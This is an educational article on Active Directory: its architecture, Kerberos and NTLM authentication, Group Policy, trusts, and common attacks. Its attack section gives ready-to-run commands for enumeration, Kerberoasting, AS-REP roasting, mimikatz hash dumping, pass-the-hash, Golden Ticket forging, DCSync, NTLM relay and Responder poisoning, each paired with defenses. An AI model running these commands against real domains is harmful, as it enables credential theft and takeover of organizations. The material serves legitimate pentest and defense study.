Active Directory — The Backbone of Enterprise Identity
If you work in a corporate environment, Active Directory runs your world. It controls who can log in, what they can access, which policies apply to their machine, and how different systems trust each other. It’s the single most important infrastructure component in most enterprise networks.
And if you’re a security engineer or penetration tester, Active Directory is the #1 target. Compromise AD, and you own the entire organization. Every user account, every machine, every file share, every application that trusts AD for authentication — all of it. That’s why AD attacks (Kerberoasting, Pass-the-Hash, Golden Ticket, DCSync) dominate every real-world pentest report.
This article covers AD from the ground up — the architecture, the authentication protocols, the security model, and the attacks. Whether you’re defending an AD environment or testing one, this is the foundation you need.
What is Active Directory?
Active Directory (AD) is Microsoft’s directory service — a centralized database that stores information about users, computers, groups, and other resources on a network. It provides:
- Authentication — Verifying who a user is (primarily via Kerberos)
- Authorization — Determining what resources they can access
- Directory services — A searchable database of all network objects (users, computers, printers, etc.)
- Group Policy — Centralized configuration management for all domain-joined machines
- DNS integration — Name resolution for domain resources
AD was introduced with Windows 2000 Server and has been the default identity infrastructure for Windows-based enterprise networks ever since.
Core Concepts
Domains
A domain is the fundamental organizational unit in AD. It’s a group of objects (users, computers, groups) that share a common database and security policies.
Every domain has:
- A unique DNS name (e.g.,
corp.company.com) - A NetBIOS name (e.g.,
CORP) - At least one Domain Controller (the server that runs AD)
- A shared security policy and authentication boundary
When you log into a Windows workstation at the office, you’re authenticating against a domain.
Domain Controllers (DCs)
A Domain Controller is a Windows Server running the Active Directory Domain Services (AD DS) role. It:
- Stores a copy of the AD database (
ntds.dit) - Handles authentication requests (Kerberos, NTLM)
- Replicates changes to other DCs
- Serves DNS for the domain
- Enforces Group Policy
Every domain should have at least two DCs for redundancy. If the DC goes down and there’s no backup, nobody can log in.
The AD database is stored in C:\Windows\NTDS\ntds.dit — an Extensible Storage Engine (ESE) database. This file contains every user’s password hash, and extracting it (via DCSync or ntdsutil) is one of the primary goals in AD penetration testing.
Forests and Trees
company.com (Forest Root)
/ \
corp.company.com dev.company.com
/ \ |
us.corp.company.com eu.corp.company.com lab.dev.company.com
- A tree is a hierarchy of domains sharing a contiguous DNS namespace
- A forest is a collection of one or more trees that share a common schema and Global Catalog
- The forest root domain (
company.com) is created first and holds special administrative accounts - Trust relationships between domains allow users in one domain to access resources in another
The forest is the security boundary in AD. By default, any domain in a forest trusts every other domain in the same forest. The domain is the administrative boundary — each domain has its own administrators and policies.
Organizational Units (OUs)
OUs are containers within a domain used to organize objects and apply Group Policy:
corp.company.com
├── OU=Users
│ ├── OU=Engineering
│ ├── OU=Marketing
│ └── OU=Executives
├── OU=Computers
│ ├── OU=Workstations
│ └── OU=Servers
├── OU=Groups
└── OU=Service Accounts
OUs are purely organizational — they don’t affect authentication. They’re used for:
- Delegating administrative control (give a team lead control over their OU)
- Applying Group Policy to specific sets of users or computers
- Organizing the directory for easier management
Objects and Attributes
Everything in AD is an object with attributes:
| Object Type | Key Attributes |
|---|---|
| User | sAMAccountName, userPrincipalName, memberOf, pwdLastSet, servicePrincipalName |
| Computer | dNSHostName, operatingSystem, servicePrincipalName |
| Group | member, groupType (security/distribution, domain local/global/universal) |
| Group Policy Object (GPO) | gPLink, gPCFileSysPath |
| Service Account | servicePrincipalName, msDS-ManagedPasswordId (for gMSA) |
Each object has a unique Distinguished Name (DN):
CN=Thilan Fernando,OU=Engineering,OU=Users,DC=corp,DC=company,DC=com
And a Security Identifier (SID) — a unique, immutable identifier:
S-1-5-21-3623811015-3361044348-30300820-1013
The SID is what Windows actually uses for access control decisions — not the username. If you rename a user, their SID stays the same and their access doesn’t change.
Authentication — How AD Verifies Identity
AD supports two authentication protocols: Kerberos (the default and preferred) and NTLM (legacy, used as a fallback).
Kerberos — The Modern Protocol
Kerberos is the default authentication protocol in AD since Windows 2000. It’s ticket-based — instead of sending your password with every request, you authenticate once and receive tickets that prove your identity.
The Players
| Component | Role |
|---|---|
| Client | The user or service requesting access |
| KDC (Key Distribution Center) | The Domain Controller, running two services: AS and TGS |
| AS (Authentication Service) | Verifies the user’s identity and issues a TGT |
| TGS (Ticket Granting Service) | Issues service tickets based on a valid TGT |
| Service | The resource the client wants to access (file share, web app, SQL server) |
The Flow
Client KDC (Domain Controller) Service
| | |
| 1. AS-REQ (encrypted with | |
| user's password hash) | |
| ─────────────────────────> | |
| | |
| 2. AS-REP (contains TGT, | |
| encrypted with krbtgt | |
| account's hash) | |
| <───────────────────────── | |
| | |
| 3. TGS-REQ (present TGT, | |
| request ticket for | |
| specific service) | |
| ─────────────────────────> | |
| | |
| 4. TGS-REP (service ticket, | |
| encrypted with service | |
| account's hash) | |
| <───────────────────────── | |
| | |
| 5. AP-REQ (present service | |
| ticket to the service) | |
| ────────────────────────────────────────────────────────> |
| | |
| 6. AP-REP (optional, | |
| mutual authentication) | |
| <──────────────────────────────────────────────────────── |
Step by step:
-
AS-REQ — Client sends its username to the KDC. The request includes a timestamp encrypted with the user’s password hash (pre-authentication).
-
AS-REP — If the encrypted timestamp is valid, the KDC issues a Ticket Granting Ticket (TGT). The TGT is encrypted with the
krbtgtaccount’s password hash — only the KDC can decrypt it. -
TGS-REQ — When the client wants to access a service (e.g., a file share), it presents the TGT to the TGS and requests a ticket for that service.
-
TGS-REP — The KDC issues a Service Ticket (ST), encrypted with the target service account’s password hash.
-
AP-REQ — The client presents the service ticket to the service. The service decrypts it with its own password hash, validates it, and grants access.
The beauty of Kerberos: the user’s password is never sent over the network. The password hash is used to encrypt the initial AS-REQ, but after that, everything works with tickets. And the TGT is valid for 10 hours by default — you authenticate once and get tickets for different services all day.
The krbtgt Account
The krbtgt account is the most important account in Active Directory. Its password hash encrypts every TGT. If an attacker obtains this hash, they can forge TGTs for any user — including Domain Admins. This is the Golden Ticket attack.
NTLM — The Legacy Protocol
NTLM (NT LAN Manager) is older and less secure, but it’s still used as a fallback when Kerberos isn’t available (e.g., when the client can’t reach a DC, or when accessing a resource by IP instead of hostname).
NTLM uses a challenge-response mechanism:
Client Server
| |
| 1. NEGOTIATE (I want to auth) |
| ────────────────────────────────> |
| |
| 2. CHALLENGE (here's a random |
| 16-byte nonce) |
| <──────────────────────────────── |
| |
| 3. RESPONSE (nonce encrypted |
| with my password hash) |
| ────────────────────────────────> |
| |
| Server verifies with DC |
| or local SAM database |
NTLM problems:
- No mutual authentication — The client proves its identity to the server, but the server doesn’t prove its identity to the client
- Relay attacks — NTLM authentication can be relayed to a different server (NTLM relay attack)
- Pass-the-Hash — The NTLM hash is equivalent to the password — if you have the hash, you can authenticate without knowing the password
- No key rotation — The NTLM hash doesn’t change unless the password changes
Group Policy — Centralized Configuration
Group Policy Objects (GPOs) allow administrators to configure settings for users and computers across the domain — software installation, security settings, registry modifications, scripts, and more.
GPOs are linked to:
- Sites (physical locations)
- Domains (apply to everything in the domain)
- Organizational Units (apply to specific OUs)
The processing order is LSDOU — Local → Site → Domain → OU. Policies applied later override earlier ones.
Common GPO settings relevant to security:
Computer Configuration
├── Policies
│ ├── Windows Settings
│ │ ├── Security Settings
│ │ │ ├── Account Policies
│ │ │ │ ├── Password Policy (length, complexity, history)
│ │ │ │ └── Account Lockout Policy (threshold, duration)
│ │ │ ├── Local Policies
│ │ │ │ ├── Audit Policy (log logon events, privilege use)
│ │ │ │ └── User Rights Assignment
│ │ │ └── Windows Firewall
│ │ └── Scripts (Startup/Shutdown)
│ └── Administrative Templates
│ ├── Disable LLMNR
│ ├── Disable WPAD
│ └── Enable SMB Signing
GPOs are stored in two places:
- Group Policy Container (GPC) — In AD (the LDAP database)
- Group Policy Template (GPT) — In SYSVOL (file share on DCs:
\\domain\SYSVOL\domain\Policies\)
SYSVOL is replicated to all DCs and is readable by all domain users — which means GPOs and any scripts or credentials stored in them are accessible to anyone with a domain account.
Trust Relationships
Trusts allow users in one domain to access resources in another.
| Trust Type | Direction | Transitivity | Use Case |
|---|---|---|---|
| Parent-Child | Two-way | Transitive | Automatic between parent and child domains |
| Tree-Root | Two-way | Transitive | Between forest root and new tree root |
| Shortcut | One or two-way | Transitive | Performance optimization between distant domains |
| External | One or two-way | Non-transitive | Between domains in different forests |
| Forest | One or two-way | Transitive | Between two forest root domains |
Within a forest, all trusts are two-way and transitive by default. This means if Domain A trusts Domain B, and Domain B trusts Domain C, then Domain A trusts Domain C.
From a security perspective, this means compromising any domain in a forest can lead to compromising the entire forest. This is why the forest (not the domain) is the security boundary.
AD Attacks — The Security Perspective
This is why you’re really here. AD is the most targeted infrastructure in penetration testing, and for good reason — the attack surface is massive.
Reconnaissance
Before attacking, enumerate everything:
# From a domain-joined machine with standard user credentials:
# Enumerate all users
$ net user /domain
# Enumerate domain admins
$ net group "Domain Admins" /domain
# Enumerate with PowerView (PowerShell)
Get-DomainUser | select samaccountname, description
Get-DomainGroup -Identity "Domain Admins" | Get-DomainGroupMember
Get-DomainComputer | select dnshostname, operatingsystem
# Enumerate with ldapsearch (from Linux)
$ ldapsearch -x -H ldap://dc01.corp.company.com -D "[email protected]" -W \
-b "DC=corp,DC=company,DC=com" "(objectClass=user)" sAMAccountName
# BloodHound — map attack paths visually
$ bloodhound-python -d corp.company.com -u user -p password -ns 10.0.0.1 -c all
BloodHound deserves special mention. It ingests AD data and builds a graph of all relationships — group memberships, admin rights, session data, trust relationships — and automatically finds the shortest path from your current user to Domain Admin. It’s the most important tool in AD pentesting.
Kerberoasting
Target: Service accounts with weak passwords and SPNs (Service Principal Names).
Any domain user can request a service ticket (TGS) for any service in the domain. The service ticket is encrypted with the service account’s password hash. If the password is weak, the attacker can crack it offline.
# Request service tickets for all accounts with SPNs
$ GetUserSPNs.py corp.company.com/user:password -outputfile kerberoast.txt
# Crack offline with hashcat
$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
Defense: Use long, random passwords (25+ characters) for service accounts. Better yet, use Group Managed Service Accounts (gMSA) — AD automatically rotates 240-character passwords every 30 days.
AS-REP Roasting
Target: Accounts with “Do not require Kerberos preauthentication” enabled.
Normally, the AS-REQ includes a timestamp encrypted with the user’s hash (pre-authentication). If pre-auth is disabled, anyone can request an AS-REP for that user — and the response is encrypted with the user’s hash, crackable offline.
$ GetNPUsers.py corp.company.com/ -usersfile users.txt -outputfile asrep.txt
$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Defense: Never disable Kerberos pre-authentication unless absolutely necessary.
Pass-the-Hash (PtH)
Target: NTLM hashes obtained from memory (mimikatz) or the SAM database.
With an NTLM hash, you can authenticate as the user without knowing the password:
# Dump hashes from memory (requires local admin)
mimikatz# sekurlsa::logonpasswords
# Use the hash to authenticate
$ pth-winexe -U 'CORP/admin%aad3b435b51404eeaad3b435b51404ee:hash' //10.0.0.5 cmd.exe
# Or with Impacket
$ psexec.py corp.company.com/[email protected] -hashes :ntlm_hash
Defense: Use Credential Guard (Windows 10+), which isolates credential storage in a virtualization-based security (VBS) environment. Also use Local Administrator Password Solution (LAPS) to randomize local admin passwords.
Golden Ticket
Target: The krbtgt account’s password hash.
If an attacker obtains the krbtgt hash (via DCSync or by compromising a DC), they can forge a TGT for any user — including non-existent users with Domain Admin privileges. This ticket is valid for the krbtgt password’s lifetime (by default, the password never changes).
# Forge a golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:corp.company.com \
/sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:hash /ptt
# Now you have a valid TGT for Administrator — access anything
$ dir \\dc01\c$
Defense: Rotate the krbtgt password regularly (at least twice — the second reset invalidates the previous password). Monitor for TGTs with anomalous lifetimes or forged PAC data.
DCSync
Target: Replication privileges to extract all password hashes from a DC.
If an attacker has an account with replication rights (Domain Admins, Enterprise Admins, or accounts with the “Replicating Directory Changes” permissions), they can request the AD database contents — including every user’s NTLM hash — without ever touching the DC directly.
# Extract all hashes via DCSync
$ secretsdump.py corp.company.com/admin:[email protected]
# Or specific users
mimikatz# lsadump::dcsync /domain:corp.company.com /user:krbtgt
Defense: Strictly limit accounts with replication privileges. Monitor for replication requests from non-DC sources. Use Advanced Threat Protection (ATP) to detect DCSync behavior.
NTLM Relay
Target: NTLM authentication in transit.
An attacker intercepts an NTLM authentication attempt and relays it to a different server. If SMB signing isn’t enforced, the attacker can execute commands on the target server using the victim’s credentials.
# Start a relay server
$ ntlmrelayx.py -t 10.0.0.5 -smb2support -c "whoami"
# Trigger authentication (e.g., via a malicious link, LLMNR/NBT-NS poisoning)
Defense: Enforce SMB signing on all systems. Disable LLMNR and NBT-NS (used for name resolution poisoning). Enable Extended Protection for Authentication (EPA).
LLMNR/NBT-NS Poisoning
Target: Name resolution requests on the local network.
When a Windows machine can’t resolve a hostname via DNS, it falls back to LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) — broadcasting the query on the local network. An attacker can respond to these broadcasts, pretend to be the requested host, and capture NTLM hashes.
# Listen for LLMNR/NBT-NS requests and capture hashes
$ responder -I eth0 -dwv
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 10.0.0.15 for name fileserver
[*] [NTLMv2] Hash captured: user::CORP:hash...
Defense: Disable LLMNR and NBT-NS via Group Policy. Use DNS for all name resolution.
Hardening Active Directory
A quick checklist of the most impactful hardening measures:
Authentication:
- Enforce strong password policies (12+ characters, complexity)
- Enable MFA for all privileged accounts
- Disable NTLM where possible (use Kerberos only)
- Use Credential Guard on Windows 10+ workstations
- Deploy LAPS for local administrator passwords
Privileged Access:
- Implement a tiered administration model (Tier 0: DCs, Tier 1: servers, Tier 2: workstations)
- Use Privileged Access Workstations (PAWs) for admin tasks
- Never log into workstations with Domain Admin credentials
- Use Just-In-Time (JIT) and Just-Enough-Administration (JEA)
Network:
- Enforce SMB signing on all systems
- Disable LLMNR and NBT-NS
- Segment the network — DCs should be in their own VLAN
- Enable Windows Firewall on all machines
Monitoring:
- Enable audit logging for logon events, privilege use, and directory changes
- Monitor for DCSync, Golden Ticket, and Kerberoasting activity
- Deploy Microsoft Defender for Identity (or similar ATP)
- Use BloodHound defensively to identify attack paths before attackers do
Service Accounts:
- Use Group Managed Service Accounts (gMSA) instead of regular accounts
- Rotate the
krbtgtpassword twice every 180 days - Remove unnecessary SPNs
Tools for AD Security
| Tool | Purpose | Offensive/Defensive |
|---|---|---|
| BloodHound | AD attack path mapping | Both |
| Mimikatz | Credential extraction (hashes, tickets) | Offensive |
| Impacket | Network protocol tools (secretsdump, psexec, GetUserSPNs) | Offensive |
| Responder | LLMNR/NBT-NS poisoning | Offensive |
| CrackMapExec | AD post-exploitation (spray, enum, exec) | Offensive |
| Rubeus | Kerberos abuse (Kerberoast, AS-REP, ticket manipulation) | Offensive |
| PingCastle | AD security assessment and scoring | Defensive |
| Purple Knight | AD security assessment | Defensive |
| Microsoft Defender for Identity | Real-time AD threat detection | Defensive |
Final Thoughts
Active Directory is simultaneously the most important and the most attacked infrastructure in enterprise networks. It’s a 25-year-old system that was designed for manageability, not security — and attackers have had decades to find creative ways to abuse it.
The attacks covered here — Kerberoasting, Pass-the-Hash, Golden Ticket, DCSync, NTLM relay — aren’t theoretical. They’re used in nearly every real-world penetration test and by actual threat actors in breaches. Understanding them is essential whether you’re attacking (pentest) or defending (blue team).
The good news is that AD security has improved significantly in recent years. Credential Guard, gMSA, ATP, tiered administration — these defenses work. But they require deliberate implementation. An out-of-the-box AD deployment with default settings is an attacker’s playground.
If you’re interested in the authentication protocols referenced here, check out the IAM series — particularly the articles on authentication and Kerberos-related concepts.
Thanks for reading!
